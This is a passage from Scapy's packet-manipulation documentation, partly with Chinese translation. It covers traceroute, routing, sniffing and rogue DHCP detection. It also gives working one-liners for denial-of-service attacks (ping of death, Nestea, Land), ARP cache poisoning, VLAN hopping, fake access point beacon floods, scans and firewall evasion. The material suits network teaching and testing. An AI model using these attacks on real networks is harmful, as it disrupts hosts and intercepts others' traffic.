\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e
\x1f !"#$%&\'()*+,-./01234567' |>>>>

Base64

Using the export_object() function, Scapy can export a base64 encoded Python data structure representing a packet:

使用“export_object()”函数，Scapy可以数据包转换成base64编码的Python数据结构：

>>> pkt
<Ether  dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP  version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP  type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f
!"#$%&\'()*+,-./01234567' |>>>>
>>> export_object(pkt)
eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4ST
OD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+1rA78qdzbfTP/lDfzz7tD4WwmU1C0YiaT2Gqjaiao
bMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/u1MD2bT
WZXXVCmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6
...

The output above can be reimported back into Scapy using import_object():

使用“import_object()”函数，可以将以上输出重新导入到Scapy中：

>>> new_pkt = import_object()
eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4ST
OD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+1rA78qdzbfTP/lDfzz7tD4WwmU1C0YiaT2Gqjaiao
bMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/u1MD2bT
WZXXVCmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6
...
>>> new_pkt
<Ether  dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP  version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP  type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f
!"#$%&\'()*+,-./01234567' |>>>>

Sessions

At last Scapy is capable of saving all session variables using the save_session() function:

最后可以使用“save_session()”函数来保存所有的session变量：

>>> dir()
['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_str', 'pkts']
>>> save_session("session.scapy")

Next time you start Scapy you can load the previous saved session using the load_session() command:

使用“load_session()”函数，在下一次你启动Scapy的时就能加载保存的session：

>>> dir()
['__builtins__', 'conf']
>>> load_session("session.scapy")
>>> dir()
['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_str', 'pkts']

Making tables

Now we have a demonstration of the make_table() presentation function. It takes a list as parameter, and a function who returns a 3-uple. The first element is the value on the x axis from an element of the list, the second is about the y value and the third is the value that we want to see at coordinates (x,y). The result is a table. This function has 2 variants, make_lined_table() and make_tex_table() to copy/paste into your LaTeX pentest report. Those functions are available as methods of a result object :

现在我们来演示一下“make_table()”函数的功能。该函数的需要一个列表和另一个函数（返回包含三个元素的元组）作为参数。第一个元素是表格x轴上的一个值，第二个元素是y轴上的值，第三个原始则是坐标(x,y)对应的值，其返回结果为一个表格。这个函数有两个变种，“make_lined_table()”和“make_tex_table()”来复制/粘贴到你的LaTeX报告中。这些函数都可以作为一个结果对象的方法：

Here we can see a multi-parallel traceroute (scapy already has a multi TCP traceroute function. See later):

在这里，我们可以看到一个多机并行的traceroute（Scapy的已经有一个多TCP路由跟踪功能，待会儿可以看到）：

>>> ans,unans=sr(IP(dst="www.test.fr/30", ttl=(1,6))/TCP())
Received 49 packets, got 24 answers, remaining 0 packets
>>> ans.make_table( lambda (s,r): (s.dst, s.ttl, r.src) )
  216.15.189.192  216.15.189.193  216.15.189.194  216.15.189.195
1 192.168.8.1     192.168.8.1     192.168.8.1     192.168.8.1
2 81.57.239.254   81.57.239.254   81.57.239.254   81.57.239.254
3 213.228.4.254   213.228.4.254   213.228.4.254   213.228.4.254
4 213.228.3.3     213.228.3.3     213.228.3.3     213.228.3.3
5 193.251.254.1   193.251.251.69  193.251.254.1   193.251.251.69
6 193.251.241.174 193.251.241.178 193.251.241.174 193.251.241.178

Here is a more complex example to identify machines from their IPID field. We can see that 172.20.80.200:22 is answered by the same IP stack than 172.20.80.201 and that 172.20.80.197:25 is not answered by the sape IP stack than other ports on the same IP.

这里有个更复杂的例子：从他们的IPID字段中识别主机。我们可以看到172.20.80.200只有22端口做出了应答，而172.20.80.201则对所有的端口都有应答，而且172.20.80.197对25端口没有应答，但对其他端口都有应答。

>>> ans,unans=sr(IP(dst="172.20.80.192/28")/TCP(dport=[20,21,22,25,53,80]))
Received 142 packets, got 25 answers, remaining 71 packets
>>> ans.make_table(lambda (s,r): (s.dst, s.dport, r.sprintf("%IP.id%")))
   172.20.80.196 172.20.80.197 172.20.80.198 172.20.80.200 172.20.80.201
20 0             4203          7021          -             11562
21 0             4204          7022          -             11563
22 0             4205          7023          11561         11564
25 0             0             7024          -             11565
53 0             4207          7025          -             11566
80 0             4028          7026          -             11567

It can help identify network topologies very easily when playing with TTL, displaying received TTL, etc.

你在使用TTL和显示接收到的TTL等情况下，它可以很轻松地帮你识别网络拓扑结构。

Routing

Now scapy has its own routing table, so that you can have your packets routed diffrently than the system:

现在Scapy有自己的路由表了，所以将你的数据包以不同于操作系统的方式路由：

>>> conf.route
Network         Netmask         Gateway         Iface
127.0.0.0       255.0.0.0       0.0.0.0         lo
192.168.8.0     255.255.255.0   0.0.0.0         eth0
0.0.0.0         0.0.0.0         192.168.8.1     eth0
>>> conf.route.delt(net="0.0.0.0/0",gw="192.168.8.1")
>>> conf.route.add(net="0.0.0.0/0",gw="192.168.8.254")
>>> conf.route.add(host="192.168.1.1",gw="192.168.8.1")
>>> conf.route
Network         Netmask         Gateway         Iface
127.0.0.0       255.0.0.0       0.0.0.0         lo
192.168.8.0     255.255.255.0   0.0.0.0         eth0
0.0.0.0         0.0.0.0         192.168.8.254   eth0
192.168.1.1     255.255.255.255 192.168.8.1     eth0
>>> conf.route.resync()
>>> conf.route
Network         Netmask         Gateway         Iface
127.0.0.0       255.0.0.0       0.0.0.0         lo
192.168.8.0     255.255.255.0   0.0.0.0         eth0
0.0.0.0         0.0.0.0         192.168.8.1     eth0

Gnuplot

We can easily plot some harvested values using Gnuplot. (Make sure that you have Gnuplot-py and Gnuplot installed.) For example, we can observe the IP ID patterns to know how many distinct IP stacks are used behind a load balancer:

我们可以很容易地将收集起来的数据绘制成Gnuplot。（清确保你已经安装了Gnuplot-py和Gnuplot）例如，我们可以通过观察图案知道负载平衡器用了多少个不同的IP堆栈：

>>> a,b=sr(IP(dst="www.target.com")/TCP(sport=[RandShort()]*1000))
>>> a.plot(lambda x:x[1].id)
<Gnuplot._Gnuplot.Gnuplot instance at 0xb7d6a74c>

TCP traceroute (2)

Scapy also has a powerful TCP traceroute function. Unlike other traceroute programs that wait for each node to reply before going to the next, scapy sends all the packets at the same time. This has the disadvantage that it can’t know when to stop (thus the maxttl parameter) but the great advantage that it took less than 3 seconds to get this multi-target traceroute result:

Scapy也有强大的TCP traceroute功能。并不像其他traceroute程序那样，需要等待每个节点的回应才去下一个节点，scapy会在同一时间发送所有的数据包。其缺点就是不知道什么时候停止（所以就有maxttl参数），其巨大的优点就是，只用了不到3秒，就可以得到多目标的traceroute结果：

>>> traceroute(["www.yahoo.com","www.altavista.com","www.wisenut.com","www.copernic.com"],maxttl=20)
Received 80 packets, got 80 answers, remaining 0 packets
   193.45.10.88:80    216.109.118.79:80  64.241.242.243:80  66.94.229.254:80
1  192.168.8.1        192.168.8.1        192.168.8.1        192.168.8.1
2  82.243.5.254       82.243.5.254       82.243.5.254       82.243.5.254
3  213.228.4.254      213.228.4.254      213.228.4.254      213.228.4.254
4  212.27.50.46       212.27.50.46       212.27.50.46       212.27.50.46
5  212.27.50.37       212.27.50.41       212.27.50.37       212.27.50.41
6  212.27.50.34       212.27.50.34       213.228.3.234      193.251.251.69
7  213.248.71.141     217.118.239.149    208.184.231.214    193.251.241.178
8  213.248.65.81      217.118.224.44     64.125.31.129      193.251.242.98
9  213.248.70.14      213.206.129.85     64.125.31.186      193.251.243.89
10 193.45.10.88    SA 213.206.128.160    64.125.29.122      193.251.254.126
11 193.45.10.88    SA 206.24.169.41      64.125.28.70       216.115.97.178
12 193.45.10.88    SA 206.24.226.99      64.125.28.209      66.218.64.146
13 193.45.10.88    SA 206.24.227.106     64.125.29.45       66.218.82.230
14 193.45.10.88    SA 216.109.74.30      64.125.31.214      66.94.229.254   SA
15 193.45.10.88    SA 216.109.120.149    64.124.229.109     66.94.229.254   SA
16 193.45.10.88    SA 216.109.118.79  SA 64.241.242.243  SA 66.94.229.254   SA
17 193.45.10.88    SA 216.109.118.79  SA 64.241.242.243  SA 66.94.229.254   SA
18 193.45.10.88    SA 216.109.118.79  SA 64.241.242.243  SA 66.94.229.254   SA
19 193.45.10.88    SA 216.109.118.79  SA 64.241.242.243  SA 66.94.229.254   SA
20 193.45.10.88    SA 216.109.118.79  SA 64.241.242.243  SA 66.94.229.254   SA
(<Traceroute: UDP:0 TCP:28 ICMP:52 Other:0>, <Unanswered: UDP:0 TCP:0 ICMP:0 Other:0>)

The last line is in fact a the result of the function : a traceroute result object and a packet list of unanswered packets. The traceroute result is a more specialised version (a subclass, in fact) of a classic result object. We can save it to consult the traceroute result again a bit later, or to deeply inspect one of the answers, for example to check padding.

最后一行实际上是该函数的返回结果：traceroute返回一个对象和无应答数据包列表。traceroute返回的是一个经典返回对象更加特殊的版本（实际上是一个子类）。我们可以将其保存以备后用，或者是进行一些例如检查填充的更深层次的观察：

>>> result,unans=_
>>> result.show()
   193.45.10.88:80    216.109.118.79:80  64.241.242.243:80  66.94.229.254:80
1  192.168.8.1        192.168.8.1        192.168.8.1        192.168.8.1
2  82.251.4.254       82.251.4.254       82.251.4.254       82.251.4.254
3  213.228.4.254      213.228.4.254      213.228.4.254      213.228.4.254
[...]
>>> result.filter(lambda x: Padding in x[1])

Like any result object, traceroute objects can be added :

和其他返回对象一样，traceroute对象也可以相加：

>>> r2,unans=traceroute(["www.voila.com"],maxttl=20)
Received 19 packets, got 19 answers, remaining 1 packets
   195.101.94.25:80
1  192.168.8.1
2  82.251.4.254
3  213.228.4.254
4  212.27.50.169
5  212.27.50.162
6  193.252.161.97
7  193.252.103.86
8  193.252.103.77
9  193.252.101.1
10 193.252.227.245
12 195.101.94.25   SA
13 195.101.94.25   SA
14 195.101.94.25   SA
15 195.101.94.25   SA
16 195.101.94.25   SA
17 195.101.94.25   SA
18 195.101.94.25   SA
19 195.101.94.25   SA
20 195.101.94.25   SA
>>>
>>> r3=result+r2
>>> r3.show()
   195.101.94.25:80   212.23.37.13:80    216.109.118.72:80  64.241.242.243:80  66.94.229.254:80
1  192.168.8.1        192.168.8.1        192.168.8.1        192.168.8.1        192.168.8.1
2  82.251.4.254       82.251.4.254       82.251.4.254       82.251.4.254       82.251.4.254
3  213.228.4.254      213.228.4.254      213.228.4.254      213.228.4.254      213.228.4.254
4  212.27.50.169      212.27.50.169      212.27.50.46       -                  212.27.50.46
5  212.27.50.162      212.27.50.162      212.27.50.37       212.27.50.41       212.27.50.37
6  193.252.161.97     194.68.129.168     212.27.50.34       213.228.3.234      193.251.251.69
7  193.252.103.86     212.23.42.33       217.118.239.185    208.184.231.214    193.251.241.178
8  193.252.103.77     212.23.42.6        217.118.224.44     64.125.31.129      193.251.242.98
9  193.252.101.1      212.23.37.13    SA 213.206.129.85     64.125.31.186      193.251.243.89
10 193.252.227.245    212.23.37.13    SA 213.206.128.160    64.125.29.122      193.251.254.126
11 -                  212.23.37.13    SA 206.24.169.41      64.125.28.70       216.115.97.178
12 195.101.94.25   SA 212.23.37.13    SA 206.24.226.100     64.125.28.209      216.115.101.46
13 195.101.94.25   SA 212.23.37.13    SA 206.24.238.166     64.125.29.45       66.218.82.234
14 195.101.94.25   SA 212.23.37.13    SA 216.109.74.30      64.125.31.214      66.94.229.254   SA
15 195.101.94.25   SA 212.23.37.13    SA 216.109.120.151    64.124.229.109     66.94.229.254   SA
16 195.101.94.25   SA 212.23.37.13    SA 216.109.118.72  SA 64.241.242.243  SA 66.94.229.254   SA
17 195.101.94.25   SA 212.23.37.13    SA 216.109.118.72  SA 64.241.242.243  SA 66.94.229.254   SA
18 195.101.94.25   SA 212.23.37.13    SA 216.109.118.72  SA 64.241.242.243  SA 66.94.229.254   SA
19 195.101.94.25   SA 212.23.37.13    SA 216.109.118.72  SA 64.241.242.243  SA 66.94.229.254   SA
20 195.101.94.25   SA 212.23.37.13    SA 216.109.118.72  SA 64.241.242.243  SA 66.94.229.254   SA

Traceroute result object also have a very neat feature: they can make a directed graph from all the routes they got, and cluster them by AS. You will need graphviz. By default, ImageMagick is used to display the graph.

Traceroute返回对象有一个非常实用的功能：他们会将得到的所有路线做成一个有向图，并用AS组织路线。你需要安装graphviz。在默认情况下会使用ImageMagick显示图形。

>>> res,unans = traceroute(["www.microsoft.com","www.cisco.com","www.yahoo.com","www.wanadoo.fr","www.pacsec.com"],dport=[80,443],maxttl=20,retry=-2)
Received 190 packets, got 190 answers, remaining 10 packets
   193.252.122.103:443 193.252.122.103:80 198.133.219.25:443 198.133.219.25:80  207.46...
1  192.168.8.1         192.168.8.1        192.168.8.1        192.168.8.1        192.16...
2  82.251.4.254        82.251.4.254       82.251.4.254       82.251.4.254       82.251...
3  213.228.4.254       213.228.4.254      213.228.4.254      213.228.4.254      213.22...
[...]
>>> res.graph()                          # piped to ImageMagick's display program. Image below.
>>> res.graph(type="ps",target="| lp")   # piped to postscript printer
>>> res.graph(target="> /tmp/graph.svg") # saved to file

If you have VPython installed, you also can have a 3D representation of the traceroute. With the right button, you can rotate the scene, with the middle button, you can zoom, with the left button, you can move the scene. If you click on a ball, it’s IP will appear/disappear. If you Ctrl-click on a ball, ports 21, 22, 23, 25, 80 and 443 will be scanned and the result displayed:

如果你安装了VPython，你就可以用3D来表示traceroute。右边的按钮是旋转图案，中间的按钮是放大缩小，左边的按钮是移动图案。如果你单击一个球，它的IP地址就会出现/消失。如果你按住Ctrl单击一个球，就会扫描21,22,23,25,80和443端口，并显示结果：

>>> res.trace3D()

Wireless frame injection

Provided that your wireless card and driver are correctly configured for frame injection

frame injection的前提是你的无线网卡和驱动得正确配置好。

$ ifconfig wlan0 up
$ iwpriv wlan0 hostapd 1
$ ifconfig wlan0ap up

you can have a kind of FakeAP:

你可以造一个FakeAP：

>>> sendp(Dot11(addr1="ff:ff:ff:ff:ff:ff",addr2=RandMAC(),addr3=RandMAC())/
          Dot11Beacon(cap="ESS")/
          Dot11Elt(ID="SSID",info=RandString(RandNum(1,50)))/
          Dot11Elt(ID="Rates",info='\x82\x84\x0b\x16')/
          Dot11Elt(ID="DSset",info="\x03")/
          Dot11Elt(ID="TIM",info="\x00\x01\x00\x00"),iface="wlan0ap",loop=1)

Simple one-liners

ACK Scan

Using Scapy’s powerful packet crafting facilities we can quick replicate classic TCP Scans. For example, the following string will be sent to simulate an ACK Scan:

>>> ans,unans = sr(IP(dst="www.slashdot.org")/TCP(dport=[80,666],flags="A"))

We can find unfiltered ports in answered packets:

>>> for s,r in ans:
...     if s[TCP].dport == r[TCP].sport:
...        print str(s[TCP].dport) + " is unfiltered"

Similarly, filtered ports can be found with unanswered packets:

>>> for s in unans:
...     print str(s[TCP].dport) + " is filtered"

Xmas Scan

Xmas Scan can be launced using the following command:

>>> ans,unans = sr(IP(dst="192.168.1.1")/TCP(dport=666,flags="FPU") )

Checking RST responses will reveal closed ports on the target.

IP Scan

A lower level IP Scan can be used to enumerate supported protocols:

>>> ans,unans=sr(IP(dst="192.168.1.1",proto=(0,255))/"SCAPY",retry=2)

ARP Ping

The fastest way to discover hosts on a local ethernet network is to use the ARP Ping method:

>>> ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0/24"),timeout=2)

Answers can be reviewed with the following command:

>>> ans.summary(lambda (s,r): r.sprintf("%Ether.src% %ARP.psrc%") )

Scapy also includes a built-in arping() function which performs similar to the above two commands:

>>> arping("192.168.1.*")

ICMP Ping

Classical ICMP Ping can be emulated using the following command:

>>> ans,unans=sr(IP(dst="192.168.1.1-254")/ICMP())

Information on live hosts can be collected with the following request:

>>> ans.summary(lambda (s,r): r.sprintf("%IP.src% is alive") )

TCP Ping

In cases where ICMP echo requests are blocked, we can still use various TCP Pings such as TCP SYN Ping below:

>>> ans,unans=sr( IP(dst="192.168.1.*")/TCP(dport=80,flags="S") )

Any response to our probes will indicate a live host. We can collect results with the following command:

>>> ans.summary( lambda(s,r) : r.sprintf("%IP.src% is alive") )

UDP Ping

If all else fails there is always UDP Ping which will produce ICMP Port unreachable errors from live hosts. Here you can pick any port which is most likely to be closed, such as port 0:

>>> ans,unans=sr( IP(dst="192.168.*.1-10")/UDP(dport=0) )

Once again, results can be collected with this command:

>>> ans.summary( lambda(s,r) : r.sprintf("%IP.src% is alive") )

Classical attacks

Malformed packets:

>>> send(IP(dst="10.1.1.5", ihl=2, version=3)/ICMP())

Ping of death (Muuahahah):

>>> send( fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)) )

Nestea attack:

>>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*10))
>>> send(IP(dst=target, id=42, frag=48)/("X"*116))
>>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*224))

Land attack (designed for Microsoft Windows):

>>> send(IP(src=target,dst=target)/TCP(sport=135,dport=135))

ARP cache poisoning

This attack prevents a client from joining the gateway by poisoning its ARP cache through a VLAN hopping attack.

Classic ARP cache poisoning:

>>> send( Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client),
      inter=RandNum(10,40), loop=1 )

ARP cache poisoning with double 802.1q encapsulation:

>>> send( Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2)
      /ARP(op="who-has", psrc=gateway, pdst=client),
      inter=RandNum(10,40), loop=1 )

TCP Port Scanning

Send a TCP SYN on each port. Wait for a SYN-ACK or a RST or an ICMP error:

>>> res,unans = sr( IP(dst="target")
                /TCP(flags="S", dport=(1,1024)) )

Possible result visualization: open ports

>>> res.nsummary( lfilter=lambda (s,r): (r.haslayer(TCP) and (r.getlayer(TCP).flags & 2)) )

IKE Scanning

We try to identify VPN concentrators by sending ISAKMP Security Association proposals and receiving the answers:

>>> res,unans = sr( IP(dst="192.168.1.*")/UDP()
                /ISAKMP(init_cookie=RandString(8), exch_type="identity prot.")
                /ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal())
              )

Visualizing the results in a list:

>>> res.nsummary(prn=lambda (s,r): r.src, lfilter=lambda (s,r): r.haslayer(ISAKMP) )

Advanced traceroute

TCP SYN traceroute

>>> ans,unans=sr(IP(dst="4.2.2.1",ttl=(1,10))/TCP(dport=53,flags="S"))

Results would be:

>>> ans.summary( lambda(s,r) : r.sprintf("%IP.src%\t{ICMP:%ICMP.type%}\t{TCP:%TCP.flags%}"))
192.168.1.1     time-exceeded
68.86.90.162    time-exceeded
4.79.43.134     time-exceeded
4.79.43.133     time-exceeded
4.68.18.126     time-exceeded
4.68.123.38     time-exceeded
4.2.2.1         SA

UDP traceroute

Tracerouting an UDP application like we do with TCP is not reliable, because there’s no handshake. We need to give an applicative payload (DNS, ISAKMP, NTP, etc.) to deserve an answer:

>>> res,unans = sr(IP(dst="target", ttl=(1,20))
              /UDP()/DNS(qd=DNSQR(qname="test.com"))

We can visualize the results as a list of routers:

>>> res.make_table(lambda (s,r): (s.dst, s.ttl, r.src))

DNS traceroute

We can perform a DNS traceroute by specifying a complete packet in l4 parameter of traceroute() function:

>>> ans,unans=traceroute("4.2.2.1",l4=UDP(sport=RandShort())/DNS(qd=DNSQR(qname="thesprawl.org")))
Begin emission:
..*....******...******.***...****Finished to send 30 packets.
*****...***...............................
Received 75 packets, got 28 answers, remaining 2 packets
   4.2.2.1:udp53
1  192.168.1.1     11
4  68.86.90.162    11
5  4.79.43.134     11
6  4.79.43.133     11
7  4.68.18.62      11
8  4.68.123.6      11
9  4.2.2.1
...

Etherleaking

>>> sr1(IP(dst="172.16.1.232")/ICMP())
<IP src=172.16.1.232 proto=1 [...] |<ICMP code=0 type=0 [...]|
<Padding load=’0O\x02\x01\x00\x04\x06public\xa2B\x02\x02\x1e’ |>>>

ICMP leaking

This was a Linux 2.0 bug:

>>> sr1(IP(dst="172.16.1.1", options="\x02")/ICMP())
<IP src=172.16.1.1 [...] |<ICMP code=0 type=12 [...] |
<IPerror src=172.16.1.24 options=’\x02\x00\x00\x00’ [...] |
<ICMPerror code=0 type=8 id=0x0 seq=0x0 chksum=0xf7ff |
<Padding load=’\x00[...]\x00\x1d.\x00V\x1f\xaf\xd9\xd4;\xca’ |>>>>>

VLAN hopping

In very specific conditions, a double 802.1q encapsulation will make a packet jump to another VLAN:

>>> sendp(Ether()/Dot1Q(vlan=2)/Dot1Q(vlan=7)/IP(dst=target)/ICMP())

Wireless sniffing

The following command will display information similar to most wireless sniffers:

>>> sniff(iface="ath0",prn=lambda x:x.sprintf("{Dot11Beacon:%Dot11.addr3%\t%Dot11Beacon.info%\t%PrismHeader.channel%\tDot11Beacon.cap%}"))

The above command will produce output similar to the one below:

00:00:00:01:02:03 netgear      6L   ESS+privacy+PBCC
11:22:33:44:55:66 wireless_100 6L   short-slot+ESS+privacy
44:55:66:00:11:22 linksys      6L   short-slot+ESS+privacy
12:34:56:78:90:12 NETGEAR      6L   short-slot+ESS+privacy+short-preamble

Recipes

Simplistic ARP Monitor

This program uses the sniff() callback (paramter prn). The store parameter is set to 0 so that the sniff() function will not store anything (as it would do otherwise) and thus can run forever. The filter parameter is used for better performances on high load : the filter is applied inside the kernel and Scapy will only see ARP traffic.

#! /usr/bin/env python
from scapy.all import *

def arp_monitor_callback(pkt):
    if ARP in pkt and pkt[ARP].op in (1,2): #who-has or is-at
        return pkt.sprintf("%ARP.hwsrc% %ARP.psrc%")

sniff(prn=arp_monitor_callback, filter="arp", store=0)

Identifying rogue DHCP servers on your LAN

Problem

You suspect that someone has installed an additional, unauthorized DHCP server on your LAN – either unintentiously or maliciously. Thus you want to check for any active DHCP servers and identify their IP and MAC addresses.

Solution

Use Scapy to send a DHCP discover request and analyze the replies:

>>> conf.checkIPaddr = False
>>> fam,hw = get_if_raw_hwaddr(conf.iface)
>>> dhcp_discover = Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=hw)/DHCP(options=[("message-type","discover"),"end"])
>>> ans, unans = srp(dhcp_discover, multi=True)      # Press CTRL-C after several seconds
Begin emission:
Finished to send 1 packets.
.*...*..
Received 8 packets, got 2 answers, remaining 0 packets

In this case we got 2 replies, so there were two active DHCP servers on the test network:

>>> ans.summarize()
Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.1:bootps > 255.255.255.255:bootpc / BOOTP / DHCP
Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.11:bootps > 255.255.255.255:bootpc / BOOTP / DHCP
}}}
We are only interested in the MAC and IP addresses of the replies:
{{{
>>> for p in ans: print p[1][Ether].src, p[1][IP].src
...
00:de:ad:be:ef:00 192.168.1.1
00:11:11:22:22:33 192.168.1.11

Discussion

We specify multi=True to make Scapy wait for more answer packets after the first response is received. This is also the reason why we can’t use the more convenient dhcp_request() function and have to construct the DCHP packet manually: dhcp_request() uses srp1() for sending and receiving and thus would immediately return after the first answer packet.

Moreover, Scapy normally makes sure that replies come from the same IP address the stimulus was sent to. But our DHCP packet is sent to the IP broadcast address (255.255.255.255) and any answer packet will have the IP address of the replying DHCP server as its source IP address (e.g. 192.168.1.1). Because these IP addresses don’t match, we have to disable Scapy’s check with conf.checkIPaddr = False before sending the stimulus.

See also

http://en.wikipedia.org/wiki/Rogue_DHCP

Firewalking

TTL decrementation after a filtering operation only not filtered packets generate an ICMP TTL exceeded

>>> ans, unans = sr(IP(dst="172.16.4.27", ttl=16)/TCP(dport=(1,1024)))
>>> for s,r in ans:
        if r.haslayer(ICMP) and r.payload.type == 11:
            print s.dport

Find subnets on a multi-NIC firewall only his own NIC’s IP are reachable with this TTL:

>>> ans, unans = sr(IP(dst="172.16.5/24", ttl=15)/TCP())
>>> for i in unans: print i.dst

TCP Timestamp Filtering

Problem

Many firewalls include a rule to drop TCP packets that do not have TCP Timestamp option set which is a common occurrence in popular port scanners.

Solution

To allow Scapy to reach target destination additional options must be used:

>>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S",options=[('Timestamp',(0,0))]))

Viewing packets with Wireshark

Problem

You have generated or sniffed some packets with Scapy and want to view them with Wireshark, because of its advanced packet dissection abilities.

Solution

That’s what the wireshark() function is for:

>>> packets = Ether()/IP(dst=Net("google.com/30"))/ICMP()     # first generate some packets
>>> wireshark(packets)                                        # show them with Wireshark

Wireshark will start in the background and show your packets.

Discussion

The wireshark() function generates a temporary pcap-file containing your packets, starts Wireshark in the background and makes it read the file on startup.

Please remember that Wireshark works with Layer 2 packets (usually called “frames”). So we had to add an Ether() header to our ICMP packets. Passing just IP packets (layer 3) to Wireshark will give strange results.

You can tell Scapy where to find the Wireshark executable by changing the conf.prog.wireshark configuration setting.

OS Fingerprinting

ISN

Scapy can be used to analyze ISN (Initial Sequence Number) increments to possibly discover vulnerable systems. First we will collect target responses by sending a number of SYN probes in a loop:

>>> ans,unans=srloop(IP(dst="192.168.1.1")/TCP(dport=80,flags="S"))

Once we obtain a reasonable number of responses we can start analyzing collected data with something like this:

>>> temp = 0
>>> for s,r in ans:
...    temp = r[TCP].seq - temp
...    print str(r[TCP].seq) + "\t+" + str(temp)
...
4278709328      +4275758673
4279655607      +3896934
4280642461      +4276745527
4281648240      +4902713
4282645099      +4277742386
4283643696      +5901310

nmap_fp

Nmap fingerprinting (the old “1st generation” one that was done by Nmap up to v4.20) is supported in Scapy. In Scapy v2 you have to load an extension module first:

>>> load_module("nmap")

If you have Nmap installed you can use it’s active os fingerprinting database with Scapy. Make sure that version 1 of signature database is located in the path specified by:

>>> conf.nmap_base

Then you can use the nmap_fp() function which implements same probes as in Nmap’s OS Detection engine:

>>> nmap_fp("192.168.1.1",oport=443,cport=1)
Begin emission:
.****..**Finished to send 8 packets.
*................................................
Received 58 packets, got 7 answers, remaining 1 packets
(1.0, ['Linux 2.4.0 - 2.5.20', 'Linux 2.4.19 w/grsecurity patch',
'Linux 2.4.20 - 2.4.22 w/grsecurity.org patch', 'Linux 2.4.22-ck2 (x86)
w/grsecurity.org and HZ=1000 patches', 'Linux 2.4.7 - 2.6.11'])

p0f

If you have p0f installed on your system, you can use it to guess OS name and version right from Scapy (only SYN database is used). First make sure that p0f database exists in the path specified by:

>>> conf.p0f_base

For example to guess OS from a single captured packet:

>>> sniff(prn=prnp0f)
192.168.1.100:54716 - Linux 2.6 (newer, 1) (up: 24 hrs)
  -> 74.125.19.104:www (distance 0)
<Sniffed: TCP:339 UDP:2 ICMP:0 Other:156>